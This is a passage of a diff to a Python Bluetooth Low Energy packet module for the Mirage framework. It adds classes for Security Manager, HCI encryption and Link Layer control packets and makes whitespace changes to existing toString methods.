BLEDisconnect(BLEPacket): ''' @@ -264,7 +264,7 @@ def getRawDatas(self): return data def toString(self): - return "<< "+self.name+" | type="+self.type+" | addr="+self.addr+" | data="+self.getRawDatas().hex()+" >>" + return "<< "+self.name+" | type="+self.type+" | addr="+self.addr+" | data="+self.getRawDatas().hex()+" >>" class BLEAdvInd(BLEAdvertisement): ''' @@ -312,7 +312,7 @@ def __init__(self, self.dstAddrType = dstAddrType def toString(self): - return "<< "+self.name+" | type="+self.type+" | srcAddr="+self.srcAddr+" | dstAddr="+self.dstAddr+" >>" + return "<< "+self.name+" | type="+self.type+" | srcAddr="+self.srcAddr+" | dstAddr="+self.dstAddr+" >>" class BLEAdvNonConnInd(BLEAdvertisement): ''' @@ -327,7 +327,7 @@ def __init__(self): super().__init__(type="ADV_NONCONN_IND") def toString(self): - return "<< "+self.name+" | type="+self.type+" >>" + return "<< "+self.name+" | type="+self.type+" >>" class BLEAdvScanInd(BLEAdvertisement): ''' @@ -342,7 +342,7 @@ def __init__(self): super().__init__(type="ADV_SCAN_IND") def toString(self): - return "<< "+self.name+" | type="+self.type+" >>" + return "<< "+self.name+" | type="+self.type+" >>" class BLEScanRequest(BLEAdvertisement): ''' @@ -370,7 +370,7 @@ def __init__(self, self.dstAddrType = dstAddrType def toString(self): - return "<< "+self.name+" | type="+self.type+" | srcAddr="+self.srcAddr+" | dstAddr="+self.dstAddr+" >>" + return "<< "+self.name+" | type="+self.type+" | srcAddr="+self.srcAddr+" | dstAddr="+self.dstAddr+" >>" class BLEScanResponse(BLEAdvertisement): ''' @@ -469,7 +469,7 @@ def __init__(self, self.data = data def toString(self): - return "<< "+self.name+" | type="+self.type+" | srcAddr="+self.srcAddr+" | dstAddr="+self.dstAddr+" | accessAddress="+"0x{:08x}".format(self.accessAddress)+"| crcInit="+"0x{:03x}".format(self.crcInit)+"| channelMap="+"0x{:10x}".format(self.channelMap)+"| hopInterval="+str(self.hopInterval)+"| hopIncrement="+str(self.hopIncrement)+" >>" + return "<< "+self.name+" | type="+self.type+" | srcAddr="+self.srcAddr+" | dstAddr="+self.dstAddr+" | accessAddress="+"0x{:08x}".format(self.accessAddress)+"| crcInit="+"0x{:03x}".format(self.crcInit)+"| channelMap="+"0x{:10x}".format(self.channelMap)+"| hopInterval="+str(self.hopInterval)+"| hopIncrement="+str(self.hopIncrement)+" >>" class BLEFindInformationRequest(BLEPacket): ''' @@ -562,7 +562,7 @@ def decode(self): self.attributes = pairs def toString(self): - return "<< "+self.name+" | format="+hex(self.format)+" | data="+self.data.hex()+" >>" + return "<< "+self.name+" | format="+hex(self.format)+" | data="+self.data.hex()+" >>" class BLEFindByTypeValueRequest(BLEPacket): ''' @@ -702,7 +702,7 @@ def decode(self): self.attributes = pairs def toString(self): - return "<< "+self.name+" | length="+str(self.length)+" | data="+self.data.hex()+" >>" + return "<< "+self.name+" | length="+str(self.length)+" | data="+self.data.hex()+" >>" class BLEReadByTypeRequest(BLEPacket): ''' @@ -770,6 +770,7 @@ def __init__(self, data = b"", attributes = [], connectionHandle = -1): def build(self): self.data = b"" + length = b"" for att in self.attributes: handle = struct.pack(">H", att["attributeHandle"])[::-1] value = att["value"] @@ -817,7 +818,7 @@ def __init__(self, request = 0, handle = 0, ecode = 0, connectionHandle = -1): self.name = "BLE - Error Response Packet" def toString(self): - return "<< "+self.name+" | req="+hex(self.request)+" | handle="+hex(self.handle)+" | ecode="+hex(self.ecode)+" >>" + return "<< "+self.name+" | req="+hex(self.request)+" | handle="+hex(self.handle)+" | ecode="+hex(self.ecode)+" >>" class BLEWriteRequest(BLEPacket): ''' @@ -1460,3 +1461,1416 @@ def toString(self): return "<< "+self.name+" "+("(positive) | ltk="+self.ltk.hex() if self.positive else "(negative)")+" >>" + +########################### Custom + + +class BLEPublicKey(BLEPacket): + """ + Mirage Bluetooth Low Energy Packet - SM Public Key Exchange + + :param key_x: X Coordinate of Public Key + :type key_x: bytes + :param key_y: Y Coordinate of Public Key + :type key_y: bytes + :param connectionHandle: connection handle associated to the connection + :type connectionHandle: int + + """ + + def __init__(self, connectionHandle=-1, key_x=0, key_y=0): + super().__init__() + self.key_x = key_x + self.key_y = key_y + self.connectionHandle = connectionHandle + self.name = "BLE - Public Key Packet" + + def toString(self): + return "<< " + self.name + " | key_x={} | key_y={} >>".format(self.key_x, self.key_y) + + +class BLEDHKeyCheck(BLEPacket): + """ + Mirage Bluetooth Low Energy Packet - SM DHKey Check Exchange + + :param dhkey_check: 128-bit DHKey Check values (Ea/Eb) + :type dhkey_check: bytes + :param connectionHandle: connection handle associated to the connection + :type connectionHandle: int + + """ + + def __init__(self, connectionHandle=-1, dhkey_check=0): + super().__init__() + self.dhkey_check = dhkey_check + self.connectionHandle = connectionHandle + self.name = "BLE - DH Key Check" + + def toString(self): + return "<< " + self.name + " | dhkey_check={} >>".format(self.dhkey_check) + +class BLEEncryptionChange(BLEPacket): + """ + Mirage Bluetooth Low Energy Packet - HCI_Event_Encryption_Change + + :param status: 0x00 if an encryption change has occurred + :type status: byte + :param enabled: 0x00 if Link Layer Encryption is off, 0x01 if encrypted with AES-CCM + :type enabled: byte + :param connectionHandle: connection handle associated to the connection + :type connectionHandle: int + + """ + + def __init__(self, connectionHandle=-1, status=0, enabled=0): + super().__init__() + self.status = status + self.enabled = enabled + self.connectionHandle = connectionHandle + self.name = "BLE - HCI Encryption Change" + + def toString(self): + return "<< " + self.name + " | status={} | enabled={} >>".format(self.status, self.enabled) + +class BLEStartEncryption(BLEPacket): + """ + Mirage Bluetooth Low Energy Packet - HCI_Cmd_LE_Start_Encryption_Request + + :param rand: 128-bit random number + :type rand: byte + :param ediv: 16-bit EDIV + :type ediv: byte + :param ltk: 128-bit LTK + :type ltk: byte + :param connectionHandle: connection handle associated to the connection + :type connectionHandle: int + + """ + + def __init__(self, connectionHandle=-1, rand=b"", ediv=b"", ltk=b""): + super().__init__() + self.rand = rand + self.ediv = ediv + self.ltk = ltk + self.connectionHandle = connectionHandle + self.name = "BLE - HCI Start Encryption Request" + + def toString(self): + return "<< " + self.name + " | rand={} | ediv={} | ltk={} >>".format(self.rand, self.ediv,self.ltk) + + +# LL Packets + + +class BLELLPacket(BLEPacket): + """ + Mirage Bluetooth Low Energy Link Layer Packet + """ + + def __init__(self): + super().__init__() + self.name = "BLELL - Unknown Packet" + + def generatePayload(self, listOfByteValues): + payload = b"" + for byteValue in listOfByteValues: + payload += byteValue + if len(payload)<27: + payload += b"\x00" * (27-len(payload)) + return payload + + def calculatePayloadLength(self, listOfByteValues): + payload = b"" + for byteValue in listOfByteValues: + payload += byteValue + return len(payload) + 1 + + +class BLELLVersionInd(BLELLPacket): + """ + Mirage Bluetooth Link Layer Version Ind Packet - Control PDU + + :param version_number: version_number + :type version_number: str + :param company_id: company_id + :type company_id: str + :param sub_version_number: sub_version_number + :type sub_version_number: str + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__( + self, + direction=-1, + version_number=b"", + company_id=b"", + sub_version_number=b"", + ): + super().__init__() + self.direction = direction + self.version_number = version_number + self.company_id = company_id + self.sub_version_number = sub_version_number + self.name = "BLE - Link Layer Version Ind Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | version_number={} | company_id={} | sub_version_number={} >>".format( + self.version_number, self.company_id, self.sub_version_number + ) + ) + + def getPayload(self): + return super().generatePayload( + [self.version_number, self.company_id, self.sub_version_number] + ) + + def getPayloadLength(self): + return super().calculatePayloadLength( + [self.version_number, self.company_id, self.sub_version_number] + ) + +class BLELLConnUpdateInd(BLELLPacket): + """ + Mirage Bluetooth Link Layer Connection Update Ind Packet - Control PDU + + :param type: Window Size + :type win_size: int + :param win_offset: Window Offset + :type win_offset: int + :param interval: interval + :type interval: int + :param latency: latency + :type latency: int + :param timeout: timeout + :type timeout: int + :param instant: Instant of the connection + :type instant: int + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__( + self, + direction=-1, + win_size=0, + win_offset=0, + interval=0, + latency=0, + timeout=0, + instant=0, + ): + super().__init__() + self.direction = direction + self.win_size = win_size + self.win_offset = win_offset + self.interval = interval + self.latency = latency + self.timeout = timeout + self.instant = instant + self.name = "BLE - Link Layer Connection Update Ind Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | win_size={} | win_offset={} | interval={} | latency={} | timeout={} | instant={} >>".format( + self.win_size, + self.win_offset, + self.interval, + self.latency, + self.timeout, + self.instant, + ) + ) + + def getPayload(self): + return super().generatePayload( + [ + self.win_size, + self.win_offset, + self.interval, + self.latency, + self.timeout, + self.instant, + ] + ) + + def getPayloadLength(self): + return super().calculatePayloadLength( + [ + self.win_size, + self.win_offset, + self.interval, + self.latency, + self.timeout, + self.instant, + ] + ) + + +class BLELLChanMapInd(BLELLPacket): + """ + Mirage Bluetooth Link Layer Channel Map Ind Packet - Control PDU + + :param chm: Window Size + :type chm: byte + :param instant: Instant of the connection + :type instant: int + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1, chm=b"", instant=0): + super().__init__() + self.direction = direction + self.chm = chm + self.instant = instant + self.name = "BLE - Link Layer Channel Map Ind Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | chm={} | instant={} >>".format( + self.chm, + self.instant, + ) + ) + + def getPayload(self): + return super().generatePayload([self.chm, self.instant]) + + + def getPayloadLength(self): + return super().calculatePayloadLength([self.chm, self.instant]) + + +class BLELLTerminateInd(BLELLPacket): + """ + Mirage Bluetooth Link Layer Terminate Ind Packet - Control PDU + + :param error_code: Error Code + :type error_code: int + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1, error_code=0): + super().__init__() + self.direction = direction + self.error_code = error_code + self.name = "BLE - Link Layer Terminate Ind Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | error_code={} >>".format(self.error_code) + ) + + def getPayload(self): + return super().generatePayload([self.error_code]) + + def getPayloadLength(self): + return super().calculatePayloadLength([self.error_code]) + +class BLELLFeatureReq(BLELLPacket): + """ + Mirage Bluetooth Link Layer Feature Request Packet - Control PDU + + :param features: Features of the controller + :type features: byte + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1, features=b""): + super().__init__() + self.direction = direction + self.features = features + self.name = "BLE - Link Layer Feature Request Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | features={} >>".format(self.features) + ) + + def getPayload(self): + return super().generatePayload([self.features]) + + def getPayloadLength(self): + return super().calculatePayloadLength([self.features]) + +class BLELLFeatureRsp(BLELLPacket): + """ + Mirage Bluetooth Link Layer Feature Response Packet - Control PDU + + :param features: Features of the controller + :type features: byte + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1, features=b""): + super().__init__() + self.direction = direction + self.features = features + self.name = "BLE - Link Layer Feature Response Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | features={} >>".format(self.features) + ) + + def getPayload(self): + return super().generatePayload([self.features]) + + def getPayloadLength(self): + return super().calculatePayloadLength([self.features]) + +class BLELLSlaveFeatureReq(BLELLPacket): + """ + Mirage Bluetooth Link Layer Slave Feature Request Packet - Control PDU + + :param features: Features of the controller + :type features: byte + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1, features=b""): + super().__init__() + self.direction = direction + self.features = features + self.name = "BLE - Link Layer Slave Feature Request Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | features={} >>".format(self.features) + ) + + def getPayload(self): + return super().generatePayload([self.features]) + + def getPayloadLength(self): + return super().calculatePayloadLength([self.features]) + +class BLELLPingReq(BLELLPacket): + """ + Mirage Bluetooth Link Layer Ping Request Packet - Control PDU + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1): + super().__init__() + self.direction = direction + self.name = "BLE - Link Layer Ping Request Packet" + + def toString(self): + return "<< " + ("recv " if self.direction == 0 else "send ") + self.name + " >>" + + def getPayload(self): + return super().generatePayload([]) + + def getPayloadLength(self): + return super().calculatePayloadLength([]) + +class BLELLPingRsp(BLELLPacket): + """ + Mirage Bluetooth Link Layer Ping Response Packet - Control PDU + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1): + super().__init__() + self.direction = direction + self.name = "BLE - Link Layer Ping Response Packet" + + def toString(self): + return "<< " + ("recv " if self.direction == 0 else "send ") + self.name + " >>" + + def getPayload(self): + return super().generatePayload([]) + + def getPayloadLength(self): + return super().calculatePayloadLength([]) + +class BLELLPHYReq(BLELLPacket): + """ + Mirage Bluetooth Link Layer PHY Request Packet - Control PDU + + :param tx_phys: tx_phys + :type tx_phys: int + :param rx_phys: rx_phys + :type rx_phys: int + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1, tx_phys=0, rx_phys=0): + super().__init__() + self.direction = direction + self.tx_phys = tx_phys + self.rx_phys = rx_phys + self.name = "BLE - Link Layer PHY Request Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | tx_phys={} | rx_phys={} >>".format(self.tx_phys, self.rx_phys) + ) + + def getPayload(self): + return super().generatePayload([self.tx_phys, self.rx_phys]) + + def getPayloadLength(self): + return super().calculatePayloadLength([self.tx_phys, self.rx_phys]) + +class BLELLPHYRsp(BLELLPacket): + """ + Mirage Bluetooth Link Layer PHY Response Packet - Control PDU + + :param tx_phys: tx_phys + :type tx_phys: int + :param rx_phys: rx_phys + :type rx_phys: int + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1, tx_phys=0, rx_phys=0): + super().__init__() + self.direction = direction + self.tx_phys = tx_phys + self.rx_phys = rx_phys + self.name = "BLE - Link Layer PHY Response Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | tx_phys={} | rx_phys={} >>".format(self.tx_phys, self.rx_phys) + ) + + def getPayload(self): + return super().generatePayload([self.tx_phys, self.rx_phys]) + + def getPayloadLength(self): + return super().calculatePayloadLength([self.tx_phys, self.rx_phys]) + +class BLELLUpdPHYInd(BLELLPacket): + """ + Mirage Bluetooth Link Layer PHY Update Ind Packet - Control PDU + + :param m_to_s_phy: m_to_s_phy + :type m_to_s_phy: int + :param s_to_m_phy: s_to_m_phy + :type s_to_m_phy: int + :param instant: instant + :type instant: int + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__( + self, direction=-1, m_to_s_phy=0, s_to_m_phy=0, instant=0 + ): + super().__init__() + self.direction = direction + self.m_to_s_phy = m_to_s_phy + self.s_to_m_phy = s_to_m_phy + self.instant = instant + self.name = "BLE - Link Layer PHY Update Ind Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | m_to_s_phy={} | s_to_m_phy={} | instant={} >>".format( + self.m_to_s_phy, self.s_to_m_phy, self.instant + ) + ) + + def getPayload(self): + return super().generatePayload([self.m_to_s_phy, self.s_to_m_phy, self.instant]) + + def getPayloadLength(self): + return super().calculatePayloadLength([self.m_to_s_phy, self.s_to_m_phy, self.instant]) + +class BLELLMinUsedChann(BLELLPacket): + """ + Mirage Bluetooth Link Layer Min Used Channel Packet - Control PDU + + :param phys: phys + :type phys: int + :param min_used_chans: min_used_chans + :type min_used_chans: int + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1, phys=0, min_used_chans=0): + super().__init__() + self.direction = direction + self.phys = phys + self.min_used_chans = min_used_chans + self.name = "BLE - Link Layer Min Used Channel Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | phys={} | min_used_chans={} >>".format(self.phys, self.min_used_chans) + ) + + def getPayload(self): + return super().generatePayload([self.phys, self.min_used_chans]) + + def getPayloadLength(self): + return super().calculatePayloadLength([self.phys, self.min_used_chans]) + +class BLELLEncReq(BLELLPacket): + """ + Mirage Bluetooth Link Layer Encryption Request Packet - Control PDU + + :param rand: rand + :type rand: byte + :param ediv: ediv + :type ediv: byte + :param skdm: skdm + :type skdm: byte + :param ivm: ivm + :type ivm: byte + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__( + self, direction=-1, rand=0, ediv=0, skdm=0, ivm=0 + ): + super().__init__() + self.direction = direction + self.rand = rand + self.ediv = ediv + self.skdm = skdm + self.ivm = ivm + self.name = "BLE - Link Layer Encryption Request Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | rand={} | ediv={} | skdm={} | ivm={} >>".format( + self.rand, self.ediv, self.skdm, self.ivm + ) + ) + + def getPayload(self): + return super().generatePayload([self.rand, self.ediv, self.skdm, self.ivm]) + + def getPayloadLength(self): + return super().calculatePayloadLength([self.rand, self.ediv, self.skdm, self.ivm]) + +class BLELLEncRsp(BLELLPacket): + """ + Mirage Bluetooth Link Layer Encryption Response Packet - Control PDU + + :param skds: skds + :type skds: byte + :param ivs: ivs + :type ivs: byte + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1, skds=0, ivs=0): + super().__init__() + self.direction = direction + self.skds = skds + self.ivs = ivs + self.name = "BLE - Link Layer Encryption Reponse Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | skds={} | ivs={} >>".format(self.skds, self.ivs) + ) + + def getPayload(self): + return super().generatePayload([self.skds, self.ivs]) + + def getPayloadLength(self): + return super().calculatePayloadLength([self.skds, self.ivs]) + +class BLELLStartEncReq(BLELLPacket): + """ + Mirage Bluetooth Link Layer Start Encryption Request Packet - Control PDU + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1): + super().__init__() + self.direction = direction + self.name = "BLE - Link Layer Start Encryption Request Packet" + + def toString(self): + return "<< " + ("recv " if self.direction == 0 else "send ") + self.name + " >>" + + def getPayload(self): + return super().generatePayload([]) + + def getPayloadLength(self): + return super().calculatePayloadLength([]) + +class BLELLStartEncRsp(BLELLPacket): + """ + Mirage Bluetooth Link Layer Start Encryption Response Packet - Control PDU + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1): + super().__init__() + self.direction = direction + self.name = "BLE - Link Layer Start Encryption Response Packet" + + def toString(self): + return "<< " + ("recv " if self.direction == 0 else "send ") + self.name + " >>" + + def getPayload(self): + return super().generatePayload([]) + + def getPayloadLength(self): + return super().calculatePayloadLength([]) + +class BLELLPauseEncReq(BLELLPacket): + """ + Mirage Bluetooth Link Layer Pause Encryption Request Packet - Control PDU + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1): + super().__init__() + self.direction = direction + self.name = "BLE - Link Layer Pause Encryption Request Packet" + + def toString(self): + return "<< " + ("recv " if self.direction == 0 else "send ") + self.name + " >>" + + def getPayload(self): + return super().generatePayload([]) + + def getPayloadLength(self): + return super().calculatePayloadLength([]) + +class BLELLPauseEncRsp(BLELLPacket): + """ + Mirage Bluetooth Link Layer Pause Encryption Response Packet - Control PDU + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1): + super().__init__() + self.direction = direction + self.name = "BLE - Link Layer Pause Encryption Response Packet" + + def toString(self): + return "<< " + ("recv " if self.direction == 0 else "send ") + self.name + " >>" + + def getPayload(self): + return super().generatePayload([]) + + def getPayloadLength(self): + return super().calculatePayloadLength([]) + +class BLELLRejectExtInd(BLELLPacket): + """ + Mirage Bluetooth Link Layer Reject Extended Ind Packet - Control PDU + + :param error_code: error_code + :type error_code: int + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1, opcode=0, error_code=0): + super().__init__() + self.direction = direction + self.opcode = opcode + self.error_code = error_code + self.name = "BLE - Link Layer Reject Extended Ind Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | opcode={} | error_code={} >>".format(self.opcode, self.error_code) + ) + + def getPayload(self): + return super().generatePayload([self.opcode, self.error_code]) + + def getPayloadLength(self): + return super().calculatePayloadLength([self.opcode, self.error_code]) + +class BLELLRejectInd(BLELLPacket): + """ + Mirage Bluetooth Link Layer Reject Ind Packet - Control PDU + + :param error_code: error_code + :type error_code: int + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1, error_code=0): + super().__init__() + self.direction = direction + self.error_code = error_code + self.name = "BLE - Link Layer Reject Ind Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | error_code={} >>".format(self.error_code) + ) + + def getPayload(self): + return super().generatePayload([self.error_code]) + + def getPayloadLength(self): + return super().calculatePayloadLength([self.error_code]) + +class BLELLConnParamReq(BLELLPacket): + """ + Mirage Bluetooth Link Layer Connection Parameter Request Packet - Control PDU + + :param interval_min: interval_min + :type interval_min: int + :param interval_max: interval_max + :type interval_max: int + :param latency: latency + :type latency: int + :param timeout: timeout + :type timeout: int + :param preferred_periodicity: preferred_periodicity + :type preferred_periodicity: int + :param reference_conn_event_count: reference_conn_event_count + :type reference_conn_event_count: int + :param timeout: timeout + :type timeout: int + :param offset0: offset0 + :type offset0: int + :param offset1: offset1 + :type offset1: int + :param offset2: offset2 + :type offset2: int + :param offset3: offset3 + :type offset3: int + :param offset4: offset4 + :type offset4: int + :param offset5: offset5 + :type offset5: int + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__( + self, + direction=-1, + interval_min=0, + interval_max=0, + latency=0, + timeout=0, + preferred_periodicity=0, + reference_conn_event_count=0, + offset0=0, + offset1=0, + offset2=0, + offset3=0, + offset4=0, + offset5=0, + ): + super().__init__() + self.direction = direction + self.interval_min = interval_min + self.interval_max = interval_max + self.latency = latency + self.timeout = timeout + self.preferred_periodicity = preferred_periodicity + self.reference_conn_event_count = reference_conn_event_count + self.offset0 = offset0 + self.offset1 = offset1 + self.offset2 = offset2 + self.offset3 = offset3 + self.offset4 = offset4 + self.offset5 = offset5 + self.name = "BLE - Link Layer Connection Parameter Request Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | interval_min={} | interval_max={} | latency={} | timeout={} | preferred_periodicity={} | reference_conn_event_count={} | offset0={} | offset1={} | offset2={} | offset3={} | offset4={} | offset5={} >>".format( + self.interval_min, + self.interval_max, + self.latency, + self.timeout, + self.preferred_periodicity, + self.reference_conn_event_count, + self.offset0, + self.offset1, + self.offset2, + self.offset3, + self.offset4, + self.offset5, + ) + ) + + def getPayload(self): + return super().generatePayload( + [ + self.interval_min, + self.interval_max, + self.latency, + self.timeout, + self.preferred_periodicity, + self.reference_conn_event_count, + self.offset0, + self.offset1, + self.offset2, + self.offset3, + self.offset4, + self.offset5, + ] + ) + + def getPayloadLength(self): + return super().calculatePayloadLength( + [ + self.interval_min, + self.interval_max, + self.latency, + self.timeout, + self.preferred_periodicity, + self.reference_conn_event_count, + self.offset0, + self.offset1, + self.offset2, + self.offset3, + self.offset4, + self.offset5, + ] + ) + +class BLELLConnParamRsp(BLELLPacket): + """ + Mirage Bluetooth Link Layer Connection Parameter Response Packet - Control PDU + + :param interval_min: interval_min + :type interval_min: int + :param interval_max: interval_max + :type interval_max: int + :param latency: latency + :type latency: int + :param timeout: timeout + :type timeout: int + :param preferred_periodicity: preferred_periodicity + :type preferred_periodicity: int + :param reference_conn_event_count: reference_conn_event_count + :type reference_conn_event_count: int + :param timeout: timeout + :type timeout: int + :param offset0: offset0 + :type offset0: int + :param offset1: offset1 + :type offset1: int + :param offset2: offset2 + :type offset2: int + :param offset3: offset3 + :type offset3: int + :param offset4: offset4 + :type offset4: int + :param offset5: offset5 + :type offset5: int + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__( + self, + direction=-1, + interval_min=0, + interval_max=0, + latency=0, + timeout=0, + preferred_periodicity=0, + reference_conn_event_count=0, + offset0=0, + offset1=0, + offset2=0, + offset3=0, + offset4=0, + offset5=0, + ): + super().__init__() + self.direction = direction + self.interval_min = interval_min + self.interval_max = interval_max + self.latency = latency + self.timeout = timeout + self.preferred_periodicity = preferred_periodicity + self.reference_conn_event_count = reference_conn_event_count + self.offset0 = offset0 + self.offset1 = offset1 + self.offset2 = offset2 + self.offset3 = offset3 + self.offset4 = offset4 + self.offset5 = offset5 + self.name = "BLE - Link Layer Connection Parameter Response Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | interval_min={} | interval_max={} | latency={} | timeout={} | preferred_periodicity={} | reference_conn_event_count={} | offset0={} | offset1={} | offset2={} | offset3={} | offset4={} | offset5={} >>".format( + self.interval_min, + self.interval_max, + self.latency, + self.timeout, + self.preferred_periodicity, + self.reference_conn_event_count, + self.offset0, + self.offset1, + self.offset2, + self.offset3, + self.offset4, + self.offset5, + ) + ) + + def getPayload(self): + return super().generatePayload( + [ + self.interval_min, + self.interval_max, + self.latency, + self.timeout, + self.preferred_periodicity, + self.reference_conn_event_count, + self.offset0, + self.offset1, + self.offset2, + self.offset3, + self.offset4, + self.offset5, + ] + ) + + def getPayloadLength(self): + return super().calculatePayloadLength( + [ + self.interval_min, + self.interval_max, + self.latency, + self.timeout, + self.preferred_periodicity, + self.reference_conn_event_count, + self.offset0, + self.offset1, + self.offset2, + self.offset3, + self.offset4, + self.offset5, + ] + ) + +class BLELLDataLenReq(BLELLPacket): + """ + Mirage Bluetooth Link Layer Data Length Request Packet - Control PDU + + :param max_rx_octets: max_rx_octets + :type max_rx_octets: int + :param max_rx_time: max_rx_time + :type max_rx_time: int + :param max_tx_octets: max_tx_octets + :type max_tx_octets: int + :param max_tx_time: max_tx_time + :type max_tx_time: int + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__( + self, + direction=-1, + max_rx_octets=0, + max_rx_time=0, + max_tx_octets=0, + max_tx_time=0, + ): + super().__init__() + self.direction = direction + self.max_rx_octets = max_rx_octets + self.max_rx_time = max_rx_time + self.max_tx_octets = max_tx_octets + self.max_tx_time = max_tx_time + self.name = "BLE - Link Layer Data Length Request Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | max_rx_octets={} | max_rx_time={} | max_tx_octets={} | max_tx_time={} >>".format( + self.max_rx_octets, + self.max_rx_time, + self.max_tx_octets, + self.max_tx_time, + ) + ) + + def getPayload(self): + return super().generatePayload( + [self.max_rx_octets, self.max_rx_time, self.max_tx_octets, self.max_tx_time] + ) + + def getPayloadLength(self): + return super().calculatePayloadLength( + [self.max_rx_octets, self.max_rx_time, self.max_tx_octets, self.max_tx_time] + ) + +class BLELLDataLenRsp(BLELLPacket): + """ + Mirage Bluetooth Link Layer Data Length Response Packet - Control PDU + + :param max_rx_octets: max_rx_octets + :type max_rx_octets: int + :param max_rx_time: max_rx_time + :type max_rx_time: int + :param max_tx_octets: max_tx_octets + :type max_tx_octets: int + :param max_tx_time: max_tx_time + :type max_tx_time: int + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__( + self, + direction=-1, + max_rx_octets=0, + max_rx_time=0, + max_tx_octets=0, + max_tx_time=0, + ): + super().__init__() + self.direction = direction + self.max_rx_octets = max_rx_octets + self.max_rx_time = max_rx_time + self.max_tx_octets = max_tx_octets + self.max_tx_time = max_tx_time + self.name = "BLE - Link Layer Data Length Response Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | max_rx_octets={} | max_rx_time={} | max_tx_octets={} | max_tx_time={} >>".format( + self.max_rx_octets, + self.max_rx_time, + self.max_tx_octets, + self.max_tx_time, + ) + ) + + def getPayload(self): + return super().generatePayload( + [self.max_rx_octets, self.max_rx_time, self.max_tx_octets, self.max_tx_time] + ) + + def getPayloadLength(self): + return super().calculatePayloadLength( + [self.max_rx_octets, self.max_rx_time, self.max_tx_octets, self.max_tx_time] + ) + +class BLELLUnknownRsp(BLELLPacket): + """ + Mirage Bluetooth Link Layer Unknown Response Packet - Control PDU + + :param type: type + :type type: int + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1, type=0): + super().__init__() + self.direction = direction + self.type = type + self.name = "BLE - Link Layer Unknown Response Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | type={} >>".format(self.type) + ) + + def getPayload(self): + return super().generatePayload([self.type]) + + def getPayloadLength(self): + return super().calculatePayloadLength([self.type]) + +class BLELLCTEReq(BLELLPacket): + """ + Mirage Bluetooth Link Layer Constant Tone Extension Request Packet - Control PDU + + :param type: minCTELenReq + :type type: int + :param type: rfu + :type type: int + :param type: cteTypeReq + :type type: int + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__( + self, direction=-1, minCTELenReq=0, rfu=0, cteTypeReq=0 + ): + super().__init__() + self.direction = direction + self.minCTELenReq = minCTELenReq + self.rfu = rfu + self.cteTypeReq = cteTypeReq + self.name = "BLE - Link Layer Constant Tone Extension Request Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | minCTELenReq={} | rfu={} | cteTypeReq={} >>".format( + self.minCTELenReq, self.rfu, self.cteTypeReq + ) + ) + + def getPayload(self): + return super().generatePayload([self.minCTELenReq, self.rfu, self.cteTypeReq]) + + def getPayloadLength(self): + return super().calculatePayloadLength([self.minCTELenReq, self.rfu, self.cteTypeReq]) + +class 